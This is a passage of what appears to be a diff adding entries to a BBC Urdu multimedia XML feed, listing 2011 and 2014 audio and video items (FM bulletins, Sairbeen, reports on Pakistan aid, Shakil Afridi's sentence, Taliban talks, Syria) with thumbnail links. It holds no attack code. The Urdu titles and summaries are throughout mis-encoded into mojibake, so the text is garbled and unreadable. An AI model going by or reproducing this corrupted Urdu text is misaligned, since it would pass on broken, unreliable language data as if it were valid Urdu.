+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2011-10-13:13350673</id>
+ <dc:identifier>13350673</dc:identifier>
+ <updated>2011-10-13T18:15:51+05:00</updated>
+ <published>2011-10-13T18:05:49+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">ای٠ایم بلیٹن</title>
+ <summary xml:lang="ur">ای٠ایم بلیٹن</summary>
+ <dc:subject>ای٠ایم بلیٹن</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2011/10/000000_fm_bulletin.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013130331_bulletins_144.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013130331_bulletins_144.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013130331_bulletins_144.jpg"
+ width="144"
+ height="81">
+ <img alt="urdu FM bulletin" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013130331_bulletins_144.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2011-10-13:13351936</id>
+ <dc:identifier>13351936</dc:identifier>
+ <updated>2011-10-13T21:29:36+05:00</updated>
+ <published>2011-10-13T18:39:32+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">سیربین</title>
+ <summary xml:lang="ur">سیربین</summary>
+ <dc:subject>سیربین</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2011/10/000000_sairbeen.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013130254_news_progs_144.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013130254_news_progs_144.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013130254_news_progs_144.jpg"
+ width="144"
+ height="81">
+ <img alt="Sairbeen" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013130254_news_progs_144.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2011-10-13:13352339</id>
+ <dc:identifier>13352339</dc:identifier>
+ <updated>2011-10-13T20:06:35+05:00</updated>
+ <published>2011-10-13T18:55:41+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">جÛاں نما</title>
+ <summary xml:lang="ur">جÛاں نما</summary>
+ <dc:subject>جÛاں نما</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2011/10/000000_jahan_numa.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013150332_jahan_numa_144x81.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013150332_jahan_numa_144x81.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013150332_jahan_numa_144x81.jpg"
+ width="144"
+ height="81">
+ <img alt="Jahan numa" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013150332_jahan_numa_144x81.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2011-10-17:13420919</id>
+ <dc:identifier>13420919</dc:identifier>
+ <updated>2011-10-18T19:41:40+05:00</updated>
+ <published>2011-10-17T21:01:20+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="indepth" label="منظرنامÛ"/>
+ <rights>not restricted</rights>
+ <title xml:lang="ur">آڈیو آرکائیو</title>
+ <summary xml:lang="ur">آڈیو آرکائیو</summary>
+ <dc:subject>audio archive</dc:subject>
+ <link rel="alternate" type="text/html" title="cluster"
+ href="http://www.bbc.co.uk/urdu/indepth/audio_archive.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-cluster"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/indepth/audio_archive.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013150108_news_archive_144x81.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013150108_news_archive_144x81.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013150108_news_archive_144x81.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2011/10/13/111013150108_news_archive_144x81.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30776683</id>
+ <dc:identifier>30776683</dc:identifier>
+ <updated>2014-03-16T19:39:52+05:00</updated>
+ <published>2014-03-16T19:07:02+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">پاکستان Ú©Ùˆ ÛŒÛ ØªØ­ÙÛ Ú©Ø³ Ù†Û’ دیا؟</title>
+ <summary xml:lang="ur">پاکستان Ú©Ùˆ ڈیڑھ ارب ڈالر کا تحÙÛ Ú©ÙˆÙ† دے سکتا ÛÛ’ØŸ اس بارے میں جعÙر رضوی Ù†Û’ سابق ÙˆØ²ÛŒØ±Ù Ø®Ø²Ø§Ù†Û Ø´ÙˆÚ©Øª ترین سے بات Ú©ÛŒ اور پوچھا Ú©Û ÛŒÛ Ú©ÙˆÙ† سے’دوست ممالک‘ Ûیں؟</summary>
+ <dc:subject>pakistan aid, dollers, پاکستان، امداد، قرضÛØŒ وزیر٠خزانÛ</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140316_aid_doller_pakistan_nj.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/02/03/140203180715_dolares_144x81_getty_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/02/03/140203180715_dolares_144x81_getty_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/02/03/140203180715_dolares_144x81_getty_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/02/03/140203180715_dolares_144x81_getty_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30777121</id>
+ <dc:identifier>30777121</dc:identifier>
+ <updated>2014-03-16T20:07:47+05:00</updated>
+ <published>2014-03-16T19:39:40+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">پاکستان Ú©ÛŒ بیمار معیشت Ú©Ùˆ ÙØ§Ø¦Ø¯Û Ù¾Ûنچےگا؟</title>
+ <summary xml:lang="ur">ڈیڑھ ارب ڈالر Ú©ÛŒ رقم سے پاکستان Ú©ÛŒ بیمار معیشت Ú©Ùˆ کس قدر ÙØ§Ø¦Ø¯Û Ù¾ÛÙ†Ú† سکے گا۔ سابق وزیر٠اطلاعات قمر زمان Ú©Ø§Ø¦Ø±Û Ú©ÛŒ بی بی سی Ú©ÛŒ Ù…Ø§Û Ù¾Ø§Ø±Û ØµÙدر سے بات چیت سنیے۔</summary>
+ <dc:subject>pakistan, us, dollars, qamar, zaman, kairaپاکستان ØŒ قرضÛØŒ ڈالر</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140316_kaira_aid_pakistan_nj.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2012/11/04/121104173410_kaira-ppp-court4.gif"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2012/11/04/121104173410_kaira-ppp-court4.gif"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2012/11/04/121104173410_kaira-ppp-court4.gif"
+ width="144"
+ height="81">
+ <img alt="سابق وزیر اطلاعات قمر زمان کائرÛ" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2012/11/04/121104173410_kaira-ppp-court4.gif"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-15:30764582</id>
+ <dc:identifier>30764582</dc:identifier>
+ <updated>2014-03-15T21:23:53+05:00</updated>
+ <published>2014-03-15T21:06:45+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">’یÛاں عدالتی نظام موجود Ù†Ûیں‘ </title>
+ <summary xml:lang="ur">ڈاکٹر شکیل Ø¢Ùریدی Ú©ÛŒ سزا میں دس سال Ú©ÛŒ Ú©Ù…ÛŒ Ú©Û’ احکامات پر ان Ú©Û’ وکیل سمیع Ø§Ù„Ù„Û Ø³Û’ بی بی سی اردو Ú©ÛŒ Ù…Ø§Û Ù¾Ø§Ø±Û ØµÙدر Ú©ÛŒ بات چیت سنیے۔</summary>
+ <dc:subject>شکیل Ø¢Ùریدی</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140315_sameeullah_hz.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/02/05/130205080606_osama_poster_supporter_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/02/05/130205080606_osama_poster_supporter_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/02/05/130205080606_osama_poster_supporter_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/02/05/130205080606_osama_poster_supporter_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-15:30764806</id>
+ <dc:identifier>30764806</dc:identifier>
+ <updated>2014-03-15T21:26:04+05:00</updated>
+ <published>2014-03-15T21:16:16+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">شکیل Ø¢Ùریدی Ú©Ùˆ مقامی طالبان Ù†Û’ سزا دی </title>
+ <summary xml:lang="ur">ڈاکٹر شکیل Ø¢Ùریدی Ú©ÛŒ سزا میں دس سال Ú©ÛŒ Ú©Ù…ÛŒ Ú©Û’ احکامات پر ØªØ¬Ø²ÛŒÛ Ú©Ø§Ø± محمود Ø´Ø§Û Ø³Û’ بی بی سی اردو Ú©ÛŒ Ù…Ø§Û Ù¾Ø§Ø±Û ØµÙدر Ú©ÛŒ بات چیت سنیے۔</summary>
+ <dc:subject>شکیل Ø¢Ùریدی، محمود شاÛ</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140315_mehmood_shah_hz.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/08/30/130830131802_brigadier_mehmood_shah_144.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/08/30/130830131802_brigadier_mehmood_shah_144.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/08/30/130830131802_brigadier_mehmood_shah_144.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/08/30/130830131802_brigadier_mehmood_shah_144.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-14:30745306</id>
+ <dc:identifier>30745306</dc:identifier>
+ <updated>2014-03-14T20:09:49+05:00</updated>
+ <published>2014-03-14T18:44:27+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>not restricted</rights>
+ <title xml:lang="ur">آرٹ بلیٹن</title>
+ <summary xml:lang="ur">سائے Ú©Ù† اداؤں Ú©Û’ ساتھ رقص ميں بدلتے ÛÙŠÚº اور ÙÙŠØµÙ„Û Ú©Ù† لمحات Ú©Ùˆ تصويربند کرنے Ú©ÙŠ جستجو ميں جب دنيا بھر Ú©ÙŠ خاک چھاني جائے تو پھر کيسي تصاوير بنتي ÛÙŠÚºÛ”</summary>
+ <dc:subject>آرٹ بلیٹین، art</dc:subject>
+ <link rel="alternate" type="text/html" title="video"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140314_art_bulletin_av_ka.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314134743_art_photos_144x81_reuters_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314134743_art_photos_144x81_reuters_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314134743_art_photos_144x81_reuters_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="Ûینری کارٹیئر بریسون Ú©ÛŒ کھینچی ایک تصویر" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314134743_art_photos_144x81_reuters_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-14:30745158</id>
+ <dc:identifier>30745158</dc:identifier>
+ <updated>2014-03-14T20:06:43+05:00</updated>
+ <published>2014-03-14T18:34:28+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>not restricted</rights>
+ <title xml:lang="ur">شام: Ø®Ø§Ù†Û Ø¬Ù†Ú¯ÛŒ Ú©Û’ تین برس، Ø´Ûریوں پر بھاری گزرے</title>
+ <summary xml:lang="ur">تین برس Ù¾ÛÙ„Û’ شام میں چھوٹے موٹے مظاÛروں سے شروع Ûونے والی تحریک دیکھتے ÛÛŒ دیکھتے Ø®Ø§Ù†Û Ø¬Ù†Ú¯ÛŒ میں تبدیل Ûوگئی اور اس دوران Ûزاروں اÙراد Ûلاک اور لاکھوں بے گھر Ûوئے۔وÛاں حالات بÛتر Ûوتے نظر Ù†Ûیں آرÛÛ’ Ûیں۔ </summary>
+ <dc:subject>شام, syria</dc:subject>
+ <link rel="alternate" type="text/html" title="video"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140314_syria_threeyears_av_ka.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314055750_syria_girl_water_144x81_reuters_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314055750_syria_girl_water_144x81_reuters_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314055750_syria_girl_water_144x81_reuters_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="شام" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314055750_syria_girl_water_144x81_reuters_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-14:30748867</id>
+ <dc:identifier>30748867</dc:identifier>
+ <updated>2014-03-14T21:50:26+05:00</updated>
+ <published>2014-03-14T20:56:43+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">’ان مذاکرات میں ابھی وقت لگے گا‘</title>
+ <summary xml:lang="ur">طالبان سے امن مذاکرات Ú©Û’ مستقبل پر بی بی سی Ú©ÛŒ نصرت جÛاں Ú©ÛŒ رستم Ø´Ø§Û Ù…Ûمند سے بات چیت سنیے۔</summary>
+ <dc:subject>طالبان مزاکرات</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140314_rustam_shah_hz.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/02/140302223742_pakistan_taliban_144x81_._nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/02/140302223742_pakistan_taliban_144x81_._nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/02/140302223742_pakistan_taliban_144x81_._nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/02/140302223742_pakistan_taliban_144x81_._nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-14:30748770</id>
+ <dc:identifier>30748770</dc:identifier>
+ <updated>2014-03-14T21:45:21+05:00</updated>
+ <published>2014-03-14T20:51:02+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">Ùوج ان لوگوں سے لڑنا Ù†Ûیں چاÛتی</title>
+ <summary xml:lang="ur">Ùوج ان لوگوں سے لڑنا Ù†Ûیں چاÛتی</summary>
+ <dc:subject>طالبان مزاکرات</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140314_arif_jamal_hz.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/05/140305145749_pakistan_taliban_negotiator_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/05/140305145749_pakistan_taliban_negotiator_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/05/140305145749_pakistan_taliban_negotiator_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="Ùوج ان لوگوں سے لڑنا Ù†Ûیں چاÛتی" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/05/140305145749_pakistan_taliban_negotiator_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-13:30730153</id>
+ <dc:identifier>30730153</dc:identifier>
+ <updated>2014-03-14T03:01:54+05:00</updated>
+ <published>2014-03-13T22:13:21+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">احمدیوں Ú©ÛŒ قبروں Ú©Û’ کتبوں Ú©ÛŒ توÛین</title>
+ <summary xml:lang="ur">ØµÙˆØ¨Û Ù¾Ù†Ø¬Ø§Ø¨ Ú©Û’ Ø´Ûر جڑانوالا Ú©Û’ Ú†Ú© نمبر 96 GB میں پولیس Ù†Û’ احمدیوں Ú©ÛŒ قبروں Ú©Û’ کتنے پر سے Ú©Ù„Ù…Û Ø§ÙˆØ± قرآنی آیات مٹادیں۔</summary>
+ <dc:subject>احمدی، پنجاب، جڑانوالا ahmadi, punjab, jaranwala</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140313_ahmadi_grave_deseceration_jaranwala_tim.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313175228_policeman_desecerating_ahmadi_grave_144x81_saapk_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313175228_policeman_desecerating_ahmadi_grave_144x81_saapk_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313175228_policeman_desecerating_ahmadi_grave_144x81_saapk_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313175228_policeman_desecerating_ahmadi_grave_144x81_saapk_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-13:30725744</id>
+ <dc:identifier>30725744</dc:identifier>
+ <updated>2014-03-13T20:10:06+05:00</updated>
+ <published>2014-03-13T19:27:48+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>not restricted</rights>
+ <title xml:lang="ur">’Ûاٹ ائیر بلون‘ Ú©ÛŒ سواری</title>
+ <summary xml:lang="ur">مینمار یا برما میں Ø­Ø§Ù„ÛŒÛ Ø³ÛŒØ§Ø³ÛŒ اصلاحات Ú©Û’ بعد دنیا بھر سے سيّاح اس خوبصورت ملک Ú©ÙŠ طر٠کھچے Ú†Ù„Û’ آرÛÛ’ ÛÙŠÚº Ù€ گويا اصلاحات مينمار Ú©Û’ Ûر شعبے کيليے نعمت ثابت Ûوئيں اور سب سے Ø²ÙŠØ§Ø¯Û ÙØ§Ø¦Ø¯Û Ø³ÛŒØ§Ø­Øª Ú©ÙˆÛوا ÛÛ’Ù€ دیکھیے کیسے؟</summary>
+ <dc:subject>برما، سیاحتٹ burma, tourism, hot ai</dc:subject>
+ <link rel="alternate" type="text/html" title="video"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140313_burma_balloons_av_ka.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313142201_hot_air_baloons_burma_144x81_reuters_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313142201_hot_air_baloons_burma_144x81_reuters_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313142201_hot_air_baloons_burma_144x81_reuters_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="برما" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313142201_hot_air_baloons_burma_144x81_reuters_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-13:30727344</id>
+ <dc:identifier>30727344</dc:identifier>
+ <updated>2014-03-13T21:38:59+05:00</updated>
+ <published>2014-03-13T20:21:51+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">"Ù¾ÛÙ„ÛŒ کمیٹی کا کیا قصور تھا؟"</title>
+ <summary xml:lang="ur">"Ù¾ÛÙ„ÛŒ کمیٹی کا کیا قصور تھا؟"</summary>
+ <dc:subject>طالبان مزاکرنت Taliban dialogue</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140313_ayaz_amir_hz.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/10/10/131010000740_pak-taliban-talks02.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/10/10/131010000740_pak-taliban-talks02.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/10/10/131010000740_pak-taliban-talks02.jpg"
+ width="144"
+ height="81">
+ <img alt="&#34;Ù¾ÛÙ„ÛŒ کمیٹی کا کیا قصور تھا؟&#34;" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/10/10/131010000740_pak-taliban-talks02.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-13:30727779</id>
+ <dc:identifier>30727779</dc:identifier>
+ <updated>2014-03-13T21:35:57+05:00</updated>
+ <published>2014-03-13T20:37:06+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">" Ø­Ù…Ù„Û Ûوا تو جوابی کاروائی ضرور ÛÙˆ Ú¯ÛŒ" </title>
+ <summary xml:lang="ur">"اسرائیل کا Ø­Ù…Ù„Û Ûوا تو جوابی کاروائی ضرور ÛÙˆ Ú¯ÛŒ" </summary>
+ <dc:subject>اسرائیل ØºØ²Û Ø­Ù…Ù„Û’</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140313_harinder_mishra_hz.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313101812_israel_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
